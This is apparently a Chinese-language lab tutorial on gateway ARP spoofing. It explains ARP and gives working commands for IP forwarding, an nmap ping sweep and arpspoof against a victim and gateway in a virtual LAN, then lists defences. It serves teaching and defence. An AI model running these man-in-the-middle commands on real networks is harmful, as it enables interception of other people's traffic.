ARP欺骗——初始版

介绍:

首先需要明白什么是ARP协议及作用?它在OSI模型中位于那一层中工作原理?

ARP协议是地址解析协议,是根据IP地址获取物理地址的一个协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

ARP协议工作在OSI模型的第二层中,彼此不直接打交道。在通过以太网发送IP数据包时,需要先封装第三层(32位IP地址)、第二层(48位MAC地址)的包头,但由于发送时只知道目标IP地址,不知道其MAC地址,又不能跨第二、三层,所以需要使用地址解析协议。使用地址解析协议,可根据网络层IP数据包包头中的IP地址信息解析出目标硬件地址(MAC地址)信息,以保证通信的顺利进行。

网关型ARP欺骗如下图所示:

image-20220303222655732

目的:

了解网关型ARP欺骗的原理及危害并加以防护。

实验环境:

本次实验在局域网中实现。

/ IP MAC
攻击者 192.168.136.139 00:0c:29:69:5e:68
受害者 192.168.136.144 00-0C-29-84-C0-BD
网关 192.168.136.2 00-50-56-ec-aa-59

实验步骤:

  1. 首先确保攻击者与受害者在同一局域网下,网络互通。

  2. 其次在kali中开启端口转发功能(起到中间人攻击的效果)。

    echo 1 >/proc/sys/net/ipv4/ip_forward
    

    查看端口转发情况:

    cat /proc/sys/net/ipv4/ip_forward
    

    如果回显是1则表示转发功能开启成功,0则转发功能开启失败。

    关闭转发端口:

    echo 0 >/proc/sys/net/ipv4/ip_forward
    
    image-20220303204845780
  3. 探测局域网寻找受害主机,使用nmap工具进行ping探测。

    nmap -sP 192.168.136.139/24
    
    image-20220303211301285

    发现受害者IP与网关IP。

  4. 在攻击前我们查看下受害者arp缓存表网关的情况如下图所示:

    image-20220303211843545

    开始构造攻击语句,这里我们使用arpspoof工具进行网关欺骗。注:arpsoof详解。

    arpspoof -i 攻击者网卡 -t 受害者IP  网关IP
    
    arpspoof -i eth0 -t 192.168.136.144 192.168.136.2 
    
    image-20220303212853950

    在受害主机查看arp缓存表发现网关的MAC地址与攻击者的MAC地址相同。攻击成功!

    image-20220303213017454
  5. 抓包验证,使用wershark抓包工具抓取攻击过程的数据包进行分析。

    image-20220303215525546

实验总结及防护:

  1. 本次实验通过虚拟环境模拟攻击者利用ARP缓存表毒化的原理实现网关型ARP欺骗的效果。
  2. 防护手段如下:
    • 静态绑定:将MAC地址与IP地址绑定在接口上。
    • DHCP侦听技术:在交换机上开启DHCP侦听。
    • ARP防火墙:使用ARP防火墙。